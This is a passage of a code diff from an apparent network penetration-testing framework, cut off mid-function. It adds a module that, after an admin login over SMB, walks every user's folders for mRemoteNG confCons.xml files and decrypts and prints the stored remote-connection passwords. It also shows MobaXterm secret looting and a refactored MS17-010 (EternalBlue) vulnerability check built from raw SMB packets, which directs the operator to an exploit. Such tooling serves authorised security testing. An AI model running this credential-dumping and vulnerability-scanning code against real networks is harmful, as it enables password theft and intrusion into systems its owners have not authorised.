log_text = "{}:{}".format(credential.username, credential.password.decode("latin-1"))
|
||||
context.log.highlight(f"[{credential.winuser}] {log_text}")
|
||||
except Exception as e:
|
||||
context.log.debug(f"Could not loot MobaXterm secrets: {e}")
|
||||
@@ -0,0 +1,212 @@
|
||||
import ntpath
|
||||
from dploot.lib.smb import DPLootSMBConnection
|
||||
from dploot.lib.target import Target
|
||||
from Cryptodome.Cipher import AES
|
||||
from lxml import objectify
|
||||
from base64 import b64decode
|
||||
import hashlib
|
||||
from dataclasses import dataclass
|
||||
|
||||
|
||||
@dataclass
|
||||
class MRemoteNgEncryptionAttributes:
|
||||
kdf_iterations: int
|
||||
block_cipher_mode: str
|
||||
encryption_engine: str
|
||||
full_file_encryption: bool
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Dump mRemoteNG Passwords
|
||||
module by @_zblurx
|
||||
"""
|
||||
|
||||
name = "mremoteng"
|
||||
description = "Dump mRemoteNG Passwords in AppData and in Desktop / Documents folders (digging recursively in them) "
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.false_positive = (
|
||||
".",
|
||||
"..",
|
||||
"desktop.ini",
|
||||
"Public",
|
||||
"Default",
|
||||
"Default User",
|
||||
"All Users",
|
||||
)
|
||||
|
||||
self.mRemoteNg_path = [
|
||||
"Users\\{username}\\AppData\\Local\\mRemoteNG",
|
||||
"Users\\{username}\\AppData\\Roaming\\mRemoteNG",
|
||||
]
|
||||
|
||||
self.custom_user_path = [
|
||||
"Users\\{username}\\Desktop",
|
||||
"Users\\{username}\\Documents",
|
||||
]
|
||||
|
||||
self.recurse_max = 10
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
SHARE Share parsed. Default to C$
|
||||
PASSWORD Custom password to decrypt confCons.xml files
|
||||
CUSTOM_PATH Custom path to confCons.xml file
|
||||
"""
|
||||
self.context = context
|
||||
|
||||
self.password = "mR3m"
|
||||
if "PASSWORD" in module_options:
|
||||
self.password = module_options["PASSWORD"]
|
||||
|
||||
self.custom_path = None
|
||||
if "CUSTOM_PATH" in module_options:
|
||||
self.custom_path = module_options["CUSTOM_PATH"]
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
# 1. Evole conn into dploot conn
|
||||
self.context = context
|
||||
self.connection = connection
|
||||
self.share = connection.args.share
|
||||
|
||||
host = f"{connection.hostname}.{connection.domain}"
|
||||
domain = connection.domain
|
||||
username = connection.username
|
||||
kerberos = connection.kerberos
|
||||
aesKey = connection.aesKey
|
||||
use_kcache = getattr(connection, "use_kcache", False)
|
||||
password = getattr(connection, "password", "")
|
||||
lmhash = getattr(connection, "lmhash", "")
|
||||
nthash = getattr(connection, "nthash", "")
|
||||
|
||||
target = Target.create(
|
||||
domain=domain,
|
||||
username=username,
|
||||
password=password,
|
||||
target=host,
|
||||
lmhash=lmhash,
|
||||
nthash=nthash,
|
||||
do_kerberos=kerberos,
|
||||
aesKey=aesKey,
|
||||
use_kcache=use_kcache,
|
||||
)
|
||||
|
||||
dploot_conn = self.upgrade_connection(target=target, connection=connection.conn)
|
||||
|
||||
# 2. Dump users list
|
||||
users = self.get_users(dploot_conn)
|
||||
|
||||
# 3. Search for mRemoteNG files
|
||||
for user in users:
|
||||
for path in self.mRemoteNg_path:
|
||||
user_path = ntpath.join(path.format(username=user), "confCons.xml")
|
||||
content = dploot_conn.readFile(self.share, user_path)
|
||||
if content is None:
|
||||
continue
|
||||
self.context.log.info(f"Found confCons.xml file: {user_path}")
|
||||
self.handle_confCons_file(content)
|
||||
for path in self.custom_user_path:
|
||||
user_path = path.format(username=user)
|
||||
self.dig_confCons_in_files(conn=dploot_conn, directory_path=user_path, recurse_level=0, recurse_max=self.recurse_max)
|
||||
if self.custom_path is not None:
|
||||
content = dploot_conn.readFile(self.share, self.custom_path)
|
||||
if content is not None:
|
||||
self.context.log.info(f"Found confCons.xml file: {self.custom_path}")
|
||||
self.handle_confCons_file(content)
|
||||
|
||||
def upgrade_connection(self, target: Target, connection=None):
|
||||
conn = DPLootSMBConnection(target)
|
||||
if connection is not None:
|
||||
conn.smb_session = connection
|
||||
else:
|
||||
conn.connect()
|
||||
return conn
|
||||
|
||||
def get_users(self, conn):
|
||||
users = []
|
||||
|
||||
users_dir_path = "Users\\*"
|
||||
directories = conn.listPath(shareName=self.share, path=ntpath.normpath(users_dir_path))
|
||||
|
||||
for d in directories:
|
||||
if d.get_longname() not in self.false_positive and d.is_directory() > 0:
|
||||
users.append(d.get_longname()) # noqa: PERF401, ignoring for readability
|
||||
return users
|
||||
|
||||
def handle_confCons_file(self, file_content):
|
||||
main = objectify.fromstring(file_content)
|
||||
encryption_attributes = MRemoteNgEncryptionAttributes(
|
||||
kdf_iterations=int(main.attrib["KdfIterations"]),
|
||||
block_cipher_mode=main.attrib["BlockCipherMode"],
|
||||
encryption_engine=main.attrib["EncryptionEngine"],
|
||||
full_file_encryption=bool(main.attrib["FullFileEncryption"]),
|
||||
)
|
||||
|
||||
for node_attribute in self.parse_xml_nodes(main):
|
||||
password = self.extract_remoteng_passwords(node_attribute["Password"], encryption_attributes)
|
||||
if password == b"":
|
||||
continue
|
||||
name = node_attribute["Name"]
|
||||
hostname = node_attribute["Hostname"]
|
||||
domain = node_attribute["Domain"] if node_attribute["Domain"] != "" else node_attribute["Hostname"]
|
||||
username = node_attribute["Username"]
|
||||
protocol = node_attribute["Protocol"]
|
||||
port = node_attribute["Port"]
|
||||
host = f" {protocol}://{hostname}:{port}" if node_attribute["Hostname"] != "" else " "
|
||||
self.context.log.highlight(f"{name}:{host} - {domain}\\{username}:{password}")
|
||||
|
||||
def parse_xml_nodes(self, main):
|
||||
nodes = []
|
||||
for node in list(main.getchildren()):
|
||||
node_attributes = node.attrib
|
||||
if node_attributes["Type"] == "Connection":
|
||||
nodes.append(node.attrib)
|
||||
elif node_attributes["Type"] == "Container":
|
||||
nodes.append(node.attrib)
|
||||
nodes = nodes + self.parse_xml_nodes(node)
|
||||
return nodes
|
||||
|
||||
def dig_confCons_in_files(self, conn, directory_path, recurse_level=0, recurse_max=10):
|
||||
directory_list = conn.remote_list_dir(self.share, directory_path)
|
||||
if directory_list is not None:
|
||||
for item in directory_list:
|
||||
if item.get_longname() not in self.false_positive:
|
||||
new_path = ntpath.join(directory_path, item.get_longname())
|
||||
if item.is_directory() > 0:
|
||||
if recurse_level < recurse_max:
|
||||
self.dig_confCons_in_files(conn=conn, directory_path=new_path, recurse_level=recurse_level + 1, recurse_max=recurse_max)
|
||||
else:
|
||||
# It's a file, download it to the output share if the mask is ok
|
||||
if "confCons.xml" in item.get_longname():
|
||||
self.context.log.info(f"Found confCons.xml file: {new_path}")
|
||||
content = conn.readFile(self.context.share, new_path)
|
||||
self.handle_confCons_file(content)
|
||||
|
||||
|
||||
def extract_remoteng_passwords(self, encrypted_password, encryption_attributes: MRemoteNgEncryptionAttributes):
|
||||
encrypted_password = b64decode(encrypted_password)
|
||||
if encrypted_password == b"":
|
||||
return encrypted_password
|
||||
|
||||
if encryption_attributes.encryption_engine == "AES":
|
||||
salt = encrypted_password[:16]
|
||||
associated_data = encrypted_password[:16]
|
||||
nonce = encrypted_password[16:32]
|
||||
ciphertext = encrypted_password[32:-16]
|
||||
tag = encrypted_password[-16:]
|
||||
key = hashlib.pbkdf2_hmac("sha1", self.password.encode(), salt, encryption_attributes.kdf_iterations, dklen=32)
|
||||
if encryption_attributes.block_cipher_mode == "GCM":
|
||||
cipher = AES.new(key, AES.MODE_GCM, nonce=nonce)
|
||||
elif encryption_attributes.block_cipher_mode == "CCM":
|
||||
cipher = AES.new(key, AES.MODE_CCM, nonce=nonce)
|
||||
elif encryption_attributes.block_cipher_mode == "EAX":
|
||||
cipher = AES.new(key, AES.MODE_EAX, nonce=nonce)
|
||||
else:
|
||||
self.context.log.debug(f"Could not decrypt MRemoteNG password with encryption algorithm {encryption_attributes.encryption_engine}-{encryption_attributes.block_cipher_mode}: Not yet implemented")
|
||||
cipher.update(associated_data)
|
||||
return cipher.decrypt_and_verify(ciphertext, tag).decode("latin-1")
|
||||
else:
|
||||
self.context.log.debug(f"Could not decrypt MRemoteNG password with encryption algorithm {encryption_attributes.encryption_engine}: Not yet implemented")
|
||||
+404
-239
@@ -1,31 +1,14 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
# All credits to https://github.com/d4t4s3c/Win7Blue
|
||||
# @d4t4s3c
|
||||
# Module by @mpgn_x64
|
||||
|
||||
from ctypes import *
|
||||
from ctypes import c_uint8, c_uint16, c_uint32, c_uint64, Structure
|
||||
import socket
|
||||
import struct
|
||||
from nxc.logger import nxc_logger
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "ms17-010"
|
||||
description = "MS17-010, /!\ not tested oustide home lab"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def options(self, context, module_options):
|
||||
""" """
|
||||
|
||||
def on_login(self, context, connection):
|
||||
if check(connection.host):
|
||||
context.log.highlight("VULNERABLE")
|
||||
context.log.highlight("Next step: https://www.rapid7.com/db/modules/exploit/windows/smb/ms17_010_eternalblue/")
|
||||
|
||||
|
||||
class SMB_HEADER(Structure):
|
||||
class SmbHeader(Structure):
|
||||
"""SMB Header decoder."""
|
||||
|
||||
_pack_ = 1
|
||||
@@ -47,292 +30,474 @@ class SMB_HEADER(Structure):
|
||||
("multiplex_id", c_uint16),
|
||||
]
|
||||
|
||||
def __init__(self, buffer):
|
||||
nxc_logger.debug("server_component : %04x" % self.server_component)
|
||||
nxc_logger.debug("smb_command : %01x" % self.smb_command)
|
||||
nxc_logger.debug("error_class : %01x" % self.error_class)
|
||||
nxc_logger.debug("error_code : %02x" % self.error_code)
|
||||
nxc_logger.debug("flags : %01x" % self.flags)
|
||||
nxc_logger.debug("flags2 : %02x" % self.flags2)
|
||||
nxc_logger.debug("process_id_high : %02x" % self.process_id_high)
|
||||
nxc_logger.debug("signature : %08x" % self.signature)
|
||||
nxc_logger.debug("reserved2 : %02x" % self.reserved2)
|
||||
nxc_logger.debug("tree_id : %02x" % self.tree_id)
|
||||
nxc_logger.debug("process_id : %02x" % self.process_id)
|
||||
nxc_logger.debug("user_id : %02x" % self.user_id)
|
||||
nxc_logger.debug("multiplex_id : %02x" % self.multiplex_id)
|
||||
|
||||
def __new__(self, buffer=None):
|
||||
nxc_logger.debug(f"Creating SMB_HEADER object from buffer: {buffer}")
|
||||
return self.from_buffer_copy(buffer)
|
||||
|
||||
|
||||
def generate_smb_proto_payload(*protos):
|
||||
"""Generate SMB Protocol. Pakcet protos in order."""
|
||||
hexdata = []
|
||||
for proto in protos:
|
||||
hexdata.extend(proto)
|
||||
return "".join(hexdata)
|
||||
class NXCModule:
|
||||
name = "ms17-010"
|
||||
description = "MS17-010 - EternalBlue - NOT TESTED OUTSIDE LAB ENVIRONMENT"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def options(self, context, module_options):
|
||||
""" """
|
||||
self.logger = context.log
|
||||
|
||||
def on_login(self, context, connection):
|
||||
try:
|
||||
if self.check(connection.host):
|
||||
context.log.highlight("VULNERABLE")
|
||||
context.log.highlight("Next step: https://www.rapid7.com/db/modules/exploit/windows/smb/ms17_010_eternalblue/")
|
||||
except ConnectionResetError as e:
|
||||
context.log.debug(f"Error connecting to host when checking for MS17-010: {e!s}")
|
||||
except ValueError as e:
|
||||
if str(e) == "Buffer size too small (0 instead of at least 32 bytes)":
|
||||
context.log.debug("Buffer size too small, which means the response was not the expected size")
|
||||
|
||||
|
||||
def calculate_doublepulsar_xor_key(s):
|
||||
"""Calaculate Doublepulsar Xor Key"""
|
||||
x = 2 * s ^ (((s & 0xFF00 | (s << 16)) << 8) | (((s >> 16) | s & 0xFF0000) >> 8))
|
||||
x = x & 0xFFFFFFFF
|
||||
return x
|
||||
def generate_smb_proto_payload(self, *protos):
|
||||
"""
|
||||
Flattens a nested list and merges all bytes objects into a single bytes object.
|
||||
|
||||
Args:
|
||||
----
|
||||
*protos (list): The list to flatten and merge.
|
||||
|
||||
Returns:
|
||||
-------
|
||||
bytes: The merged bytes object.
|
||||
"""
|
||||
self.logger.debug("generate smb proto payload")
|
||||
self.logger.debug(f"Protos: {protos}")
|
||||
|
||||
hex_data = b""
|
||||
for proto in protos:
|
||||
if isinstance(proto, list):
|
||||
hex_data += self.generate_smb_proto_payload(*proto)
|
||||
elif isinstance(proto, bytes):
|
||||
hex_data += proto
|
||||
|
||||
self.logger.debug(f"Packed proto data: {hex_data}")
|
||||
return hex_data
|
||||
|
||||
|
||||
def negotiate_proto_request():
|
||||
"""Generate a negotiate_proto_request packet."""
|
||||
netbios = ["\x00", "\x00\x00\x54"]
|
||||
def calculate_doublepulsar_xor_key(self, s):
|
||||
"""
|
||||
Calculate Doublepulsar Xor Key.
|
||||
|
||||
smb_header = [
|
||||
"\xFF\x53\x4D\x42",
|
||||
"\x72",
|
||||
"\x00\x00\x00\x00",
|
||||
"\x18",
|
||||
"\x01\x28",
|
||||
"\x00\x00",
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00",
|
||||
"\x00\x00",
|
||||
"\x00\x00",
|
||||
"\x2F\x4B",
|
||||
"\x00\x00",
|
||||
"\xC5\x5E",
|
||||
]
|
||||
Args:
|
||||
----
|
||||
s (int): The input value.
|
||||
|
||||
negotiate_proto_request = [
|
||||
"\x00",
|
||||
"\x31\x00",
|
||||
"\x02",
|
||||
"\x4C\x41\x4E\x4D\x41\x4E\x31\x2E\x30\x00",
|
||||
"\x02",
|
||||
"\x4C\x4D\x31\x2E\x32\x58\x30\x30\x32\x00",
|
||||
"\x02",
|
||||
"\x4E\x54\x20\x4C\x41\x4E\x4D\x41\x4E\x20\x31\x2E\x30\x00",
|
||||
"\x02",
|
||||
"\x4E\x54\x20\x4C\x4D\x20\x30\x2E\x31\x32\x00",
|
||||
]
|
||||
|
||||
return generate_smb_proto_payload(netbios, smb_header, negotiate_proto_request)
|
||||
Returns:
|
||||
-------
|
||||
int: The calculated xor key.
|
||||
"""
|
||||
nxc_logger.debug(f"Calculating Doublepulsar XOR key for: {s}")
|
||||
x = (2 * s ^ (((s & 0xff00 | (s << 16)) << 8) | (((s >> 16) | s & 0xff0000) >> 8)))
|
||||
return x & 0xffffffff # truncate to 32 bits
|
||||
|
||||
|
||||
def session_setup_andx_request():
|
||||
"""Generate session setuo andx request."""
|
||||
netbios = ["\x00", "\x00\x00\x63"]
|
||||
|
||||
smb_header = [
|
||||
"\xFF\x53\x4D\x42",
|
||||
"\x73",
|
||||
"\x00\x00\x00\x00",
|
||||
"\x18",
|
||||
"\x01\x20",
|
||||
"\x00\x00",
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00",
|
||||
"\x00\x00",
|
||||
"\x00\x00",
|
||||
"\x2F\x4B",
|
||||
"\x00\x00",
|
||||
"\xC5\x5E",
|
||||
]
|
||||
def negotiate_proto_request(self):
|
||||
"""Generate a negotiate_proto_request packet."""
|
||||
self.logger.debug("generate negotiate proto request")
|
||||
|
||||
session_setup_andx_request = [
|
||||
"\x0D",
|
||||
"\xFF",
|
||||
"\x00",
|
||||
"\x00\x00",
|
||||
"\xDF\xFF",
|
||||
"\x02\x00",
|
||||
"\x01\x00",
|
||||
"\x00\x00\x00\x00",
|
||||
"\x00\x00",
|
||||
"\x00\x00",
|
||||
"\x00\x00\x00\x00",
|
||||
"\x40\x00\x00\x00",
|
||||
"\x26\x00",
|
||||
"\x00",
|
||||
"\x2e\x00",
|
||||
"\x57\x69\x6e\x64\x6f\x77\x73\x20\x32\x30\x30\x30\x20\x32\x31\x39\x35\x00",
|
||||
"\x57\x69\x6e\x64\x6f\x77\x73\x20\x32\x30\x30\x30\x20\x35\x2e\x30\x00",
|
||||
]
|
||||
# Define the NetBIOS header
|
||||
netbios = [
|
||||
b"\x00", # Message Type
|
||||
b"\x00\x00\x54", # Length
|
||||
]
|
||||
|
||||
return generate_smb_proto_payload(netbios, smb_header, session_setup_andx_request)
|
||||
# Define the SMB header
|
||||
smb_header = [
|
||||
b"\xFF\x53\x4D\x42", # Server Component
|
||||
b"\x72", # SMB Command
|
||||
b"\x00\x00\x00\x00", # NT Status
|
||||
b"\x18", # Flags
|
||||
b"\x01\x28", # Flags2
|
||||
b"\x00\x00", # Process ID High
|
||||
b"\x00\x00\x00\x00\x00\x00\x00\x00", # Signature
|
||||
b"\x00\x00", # Reserved
|
||||
b"\x00\x00", # Tree ID
|
||||
b"\x2F\x4B", # Process ID
|
||||
b"\x00\x00", # User ID
|
||||
b"\xC5\x5E", # Multiplex ID
|
||||
]
|
||||
|
||||
# Define the negotiate_proto_request
|
||||
negotiate_proto_request = [
|
||||
b"\x00", # Word Count
|
||||
b"\x31\x00", # Byte Count
|
||||
b"\x02", # Requested Dialects Count
|
||||
b"\x4C\x41\x4E\x4D\x41\x4E\x31\x2E\x30\x00", # Requested Dialects: LANMAN1.0
|
||||
b"\x02", # Requested Dialects Count
|
||||
b"\x4C\x4D\x31\x2E\x32\x58\x30\x30\x32\x00", # Requested Dialects: LM1.2X002
|
||||
b"\x02", # Requested Dialects Count
|
||||
b"\x4E\x54\x20\x4C\x41\x4E\x4D\x41\x4E\x20\x31\x2E\x30\x00", # Requested Dialects: NT LANMAN 1.0
|
||||
b"\x02", # Requested Dialects Count
|
||||
b"\x4E\x54\x20\x4C\x4D\x20\x30\x2E\x31\x32\x00", # Requested Dialects: NT LM 0.12
|
||||
]
|
||||
|
||||
# Return the generated SMB protocol payload
|
||||
return self.generate_smb_proto_payload(netbios, smb_header, negotiate_proto_request)
|
||||
|
||||
|
||||
def tree_connect_andx_request(ip, userid):
|
||||
"""Generate tree connect andx request."""
|
||||
def session_setup_andx_request(self):
|
||||
"""Generate session setup andx request."""
|
||||
self.logger.debug("generate session setup andx request"
|
||||
)
|
||||
# Define the NetBIOS bytes
|
||||
netbios = [
|
||||
b"\x00", # length
|
||||
b"\x00\x00\x63", # session service
|
||||
]
|
||||
|
||||
netbios = ["\x00", "\x00\x00\x47"]
|
||||
# Define the SMB header bytes
|
||||
smb_header = [
|
||||
b"\xFF\x53\x4D\x42", # server component: .SMB
|
||||
b"\x73", # command: Session Setup AndX
|
||||
b"\x00\x00\x00\x00", # NT status
|
||||
b"\x18", # flags
|
||||
b"\x01\x20", # flags2
|
||||
b"\x00\x00", # PID high
|
||||
b"\x00\x00\x00\x00\x00\x00\x00\x00", # signature
|
||||
b"\x00\x00", # reserved
|
||||
b"\x00\x00", # tree id
|
||||
b"\x2F\x4B", # pid
|
||||
b"\x00\x00", # uid
|
||||
b"\xC5\x5E", # multiplex id
|
||||
]
|
||||
|
||||
smb_header = [
|
||||
"\xFF\x53\x4D\x42",
|
||||
"\x75",
|
||||
"\x00\x00\x00\x00",
|
||||
"\x18",
|
||||
"\x01\x20",
|
||||
"\x00\x00",
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00",
|
||||
"\x00\x00",
|
||||
"\x00\x00",
|
||||
"\x2F\x4B",
|
||||
userid,
|
||||
"\xC5\x5E",
|
||||
]
|
||||
# Define the session setup andx request bytes
|
||||
session_setup_andx_request = [
|
||||
b"\x0D", # word count
|
||||
b"\xFF", # andx command: no further commands
|
||||
b"\x00", # reserved
|
||||
b"\x00\x00", # andx offset
|
||||
b"\xDF\xFF", # max buffer
|
||||
b"\x02\x00", # max mpx count
|
||||
b"\x01\x00", # VC number
|
||||
b"\x00\x00\x00\x00", # session key
|
||||
b"\x00\x00", # ANSI password length
|
||||
b"\x00\x00", # Unicode password length
|
||||
b"\x00\x00\x00\x00", # reserved
|
||||
b"\x40\x00\x00\x00", # capabilities
|
||||
b"\x26\x00", # byte count
|
||||
b"\x00", # account
|
||||
b"\x2e\x00", # primary domain
|
||||
b"\x57\x69\x6e\x64\x6f\x77\x73\x20\x32\x30\x30\x30\x20\x32\x31\x39\x35\x00", # Native OS: Windows 2000 2195
|
||||
b"\x57\x69\x6e\x64\x6f\x77\x73\x20\x32\x30\x30\x30\x20\x35\x2e\x30\x00", # Native OS: Windows 2000 5.0
|
||||
]
|
||||
|
||||
ipc = "\\\\{}\IPC$\x00".format(ip)
|
||||
|
||||
tree_connect_andx_request = [
|
||||
"\x04",
|
||||
"\xFF",
|
||||
"\x00",
|
||||
"\x00\x00",
|
||||
"\x00\x00",
|
||||
"\x01\x00",
|
||||
"\x1A\x00",
|
||||
"\x00",
|
||||
ipc.encode(),
|
||||
"\x3f\x3f\x3f\x3f\x3f\x00",
|
||||
]
|
||||
|
||||
length = len("".join(smb_header)) + len("".join(tree_connect_andx_request))
|
||||
|
||||
netbios[1] = struct.pack(">L", length)[-3:]
|
||||
|
||||
return generate_smb_proto_payload(netbios, smb_header, tree_connect_andx_request)
|
||||
return self.generate_smb_proto_payload(netbios, smb_header, session_setup_andx_request)
|
||||
|
||||
|
||||
def peeknamedpipe_request(treeid, processid, userid, multiplex_id):
|
||||
"""Generate tran2 request"""
|
||||
def tree_connect_andx_request(self, ip, userid):
|
||||
"""Generate tree connect andx request.
|
||||
|
||||
netbios = ["\x00", "\x00\x00\x4a"]
|
||||
Args:
|
||||
----
|
||||
ip (str): The IP address.
|
||||
userid (str): The user ID.
|
||||
|
||||
smb_header = [
|
||||
"\xFF\x53\x4D\x42",
|
||||
"\x25",
|
||||
"\x00\x00\x00\x00",
|
||||
"\x18",
|
||||
"\x01\x28",
|
||||
"\x00\x00",
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00",
|
||||
"\x00\x00",
|
||||
treeid,
|
||||
processid,
|
||||
userid,
|
||||
multiplex_id,
|
||||
]
|
||||
Returns:
|
||||
-------
|
||||
bytes: The generated tree connect andx request payload.
|
||||
"""
|
||||
self.logger.debug("generate tree connect andx request")
|
||||
|
||||
tran_request = [
|
||||
"\x10",
|
||||
"\x00\x00",
|
||||
"\x00\x00",
|
||||
"\xff\xff",
|
||||
"\xff\xff",
|
||||
"\x00",
|
||||
"\x00",
|
||||
"\x00\x00",
|
||||
"\x00\x00\x00\x00",
|
||||
"\x00\x00",
|
||||
"\x00\x00",
|
||||
"\x4a\x00",
|
||||
"\x00\x00",
|
||||
"\x4a\x00",
|
||||
"\x02",
|
||||
"\x00",
|
||||
"\x23\x00",
|
||||
"\x00\x00",
|
||||
"\x07\x00",
|
||||
"\x5c\x50\x49\x50\x45\x5c\x00",
|
||||
]
|
||||
# Initialize the netbios header
|
||||
netbios = [
|
||||
b"\x00", # 'Message_Type'
|
||||
b"\x00\x00\x47" # 'Length'
|
||||
]
|
||||
|
||||
return generate_smb_proto_payload(netbios, smb_header, tran_request)
|
||||
# Initialize the SMB header
|
||||
smb_header = [
|
||||
b"\xFF\x53\x4D\x42", # server_compnent: .SMB
|
||||
b"\x75", # smb_command: Tree Connect AndX
|
||||
b"\x00\x00\x00\x00", # 'nt_status'
|
||||
b"\x18", # 'flags'
|
||||
b"\x01\x20", # 'flags2'
|
||||
b"\x00\x00", # 'process_id_high'
|
||||
b"\x00\x00\x00\x00\x00\x00\x00\x00", # 'signature'
|
||||
b"\x00\x00", # 'reserved'
|
||||
b"\x00\x00", # 'tree_id'
|
||||
b"\x2F\x4B", # 'process_id'
|
||||
userid, # 'user_id'
|
||||
b"\xC5\x5E", # 'multiplex_id'
|
||||
]
|
||||
|
||||
# Create the IPC string
|
||||
ipc = f"\\\\{ip}\\IPC$\x00"
|
||||
self.logger.debug(f"Connecting to {ip} with UID: {userid.hex()}")
|
||||
|
||||
# Initialize the tree connect andx request
|
||||
tree_connect_andx_request = [
|
||||
b"\x04", # Word Count
|
||||
b"\xFF", # AndXCommand: No further commands
|
||||
b"\x00", # Reserved
|
||||
b"\x00\x00", # AndXOffset
|
||||
b"\x00\x00", # Flags
|
||||
b"\x01\x00", # Password Length
|
||||
b"\x1A\x00", # Byte Count
|
||||
b"\x00", # Password
|
||||
ipc.encode(), # \\xxx.xxx.xxx.xxx\IPC$
|
||||
b"\x3f\x3f\x3f\x3f\x3f\x00", # Service
|
||||
]
|
||||
|
||||
# Calculate the length of the payload
|
||||
length = len(b"".join(smb_header)) + len(b"".join(tree_connect_andx_request))
|
||||
self.logger.debug(f"Length of payload: {length}")
|
||||
|
||||
# Update the length in the netbios header
|
||||
netbios[1] = struct.pack(">L", length)[-3:]
|
||||
|
||||
self.logger.debug(f"Netbios: {netbios}")
|
||||
self.logger.debug(f"SMB Header: {smb_header}")
|
||||
self.logger.debug(f"Tree Connect AndX Request: {tree_connect_andx_request}")
|
||||
|
||||
# Generate the final SMB protocol payload
|
||||
return self.generate_smb_proto_payload(netbios, smb_header, tree_connect_andx_request)
|
||||
|
||||
|
||||
def trans2_request(treeid, processid, userid, multiplex_id):
|
||||
"""Generate trans2 request."""
|
||||
def peeknamedpipe_request(self, treeid, processid, userid, multiplex_id):
|
||||
"""
|
||||
Generate tran2 request.
|
||||
|
||||
netbios = ["\x00", "\x00\x00\x4f"]
|
||||
Args:
|
||||
----
|
||||
treeid (str): The tree ID.
|
||||
processid (str): The process ID.
|
||||
userid (str): The user ID.
|
||||
multiplex_id (str): The multiplex ID.
|
||||
|
||||
smb_header = [
|
||||
"\xFF\x53\x4D\x42",
|
||||
"\x32",
|
||||
"\x00\x00\x00\x00",
|
||||
"\x18",
|
||||
"\x07\xc0",
|
||||
"\x00\x00",
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00",
|
||||
"\x00\x00",
|
||||
treeid,
|
||||
processid,
|
||||
userid,
|
||||
multiplex_id,
|
||||
]
|
||||
Returns:
|
||||
-------
|
||||
str: The generated SMB protocol payload.
|
||||
"""
|
||||
self.logger.debug("generate peeknamedpipe request")
|
||||
|
||||
trans2_request = [
|
||||
"\x0f",
|
||||
"\x0c\x00",
|
||||
"\x00\x00",
|
||||
"\x01\x00",
|
||||
"\x00\x00",
|
||||
"\x00",
|
||||
"\x00",
|
||||
"\x00\x00",
|
||||
"\xa6\xd9\xa4\x00",
|
||||
"\x00\x00",
|
||||
"\x0c\x00",
|
||||
"\x42\x00",
|
||||
"\x00\x00",
|
||||
"\x4e\x00",
|
||||
"\x01",
|
||||
"\x00",
|
||||
"\x0e\x00",
|
||||
"\x00\x00",
|
||||
"\x0c\x00" + "\x00" * 12,
|
||||
]
|
||||
# Set the necessary values for the netbios header
|
||||
netbios = [
|
||||
b"\x00", # message type
|
||||
b"\x00\x00\x4a" # length
|
||||
]
|
||||
|
||||
return generate_smb_proto_payload(netbios, smb_header, trans2_request)
|
||||
# Set the values for the SMB header
|
||||
smb_header = [
|
||||
b"\xFF\x53\x4D\x42", # Server Component: .SMB
|
||||
b"\x25", # SMB Command: Trans2
|
||||
b"\x00\x00\x00\x00", # NT Status
|
||||
b"\x18", # flags
|
||||
b"\x01\x28", # flags2
|
||||
b"\x00\x00", # pid high
|
||||
b"\x00\x00\x00\x00\x00\x00\x00\x00", # sig
|
||||
b"\x00\x00", # Reserved
|
||||
treeid, # Tree ID
|
||||
processid, # Process ID
|
||||
userid, # User ID
|
||||
multiplex_id, # Multiplex ID
|
||||
]
|
||||
|
||||
# Set the values for the transaction request
|
||||
tran_request = [
|
||||
b"\x10", # Word Count
|
||||
b"\x00\x00", # Total Parameter Count
|
||||
b"\x00\x00", # Total Data Count
|
||||
b"\xff\xff", # Max Parameter Count
|
||||
b"\xff\xff", # Max Data Count
|
||||
b"\x00", # Max Setup Count
|
||||
b"\x00", # Reserved
|
||||
b"\x00\x00", # Flags
|
||||
b"\x00\x00\x00\x00", # Timeout
|
||||
b"\x00\x00", # Reserved
|
||||
b"\x00\x00", # Parameter Count
|
||||
b"\x4a\x00", # Parameter Offset
|
||||
b"\x00\x00", # Data Count
|
||||
b"\x4a\x00", # Data Offset
|
||||
b"\x02", # Setup Count
|
||||
b"\x00", # Reserved
|
||||
b"\x23\x00", # SMB Pipe Protocol: Function: PeekNamedPipe (0x0023)
|
||||
b"\x00\x00", # SMB Pipe Protocol: FID
|
||||
b"\x07\x00",
|
||||
b"\x5c\x50\x49\x50\x45\x5c\x00", # \PIPE\
|
||||
]
|
||||
|
||||
return self.generate_smb_proto_payload(netbios, smb_header, tran_request)
|
||||
|
||||
|
||||
def check(ip, port=445):
|
||||
"""Check if MS17_010 SMB Vulnerability exists."""
|
||||
try:
|
||||
def trans2_request(self, treeid, processid, userid, multiplex_id):
|
||||
"""Generate trans2 request.
|
||||
|
||||
Args:
|
||||
----
|
||||
treeid: The treeid parameter.
|
||||
processid: The processid parameter.
|
||||
userid: The userid parameter.
|
||||
multiplex_id: The multiplex_id parameter.
|
||||
|
||||
Returns:
|
||||
-------
|
||||
The generated SMB protocol payload.
|
||||
"""
|
||||
self.logger.debug("generate trans2 request")
|
||||
|
||||
# Define the netbios section of the SMB request
|
||||
netbios = [
|
||||
b"\x00",
|
||||
b"\x00\x00\x4f"
|
||||
]
|
||||
|
||||
# Define the SMB header section of the SMB request
|
||||
smb_header = [
|
||||
b"\xFF\x53\x4D\x42", # 'server_component': .SMB
|
||||
b"\x32", # 'smb_command': Trans2
|
||||
b"\x00\x00\x00\x00",
|
||||
b"\x18",
|
||||
b"\x07\xc0",
|
||||
b"\x00\x00",
|
||||
b"\x00\x00\x00\x00\x00\x00\x00\x00",
|
||||
b"\x00\x00",
|
||||
treeid,
|
||||
processid,
|
||||
userid,
|
||||
multiplex_id,
|
||||
]
|
||||
|
||||
# Define the trans2 request section of the SMB request
|
||||
trans2_request = [
|
||||
b"\x0f",
|
||||
b"\x0c\x00",
|
||||
b"\x00\x00",
|
||||
b"\x01\x00",
|
||||
b"\x00\x00",
|
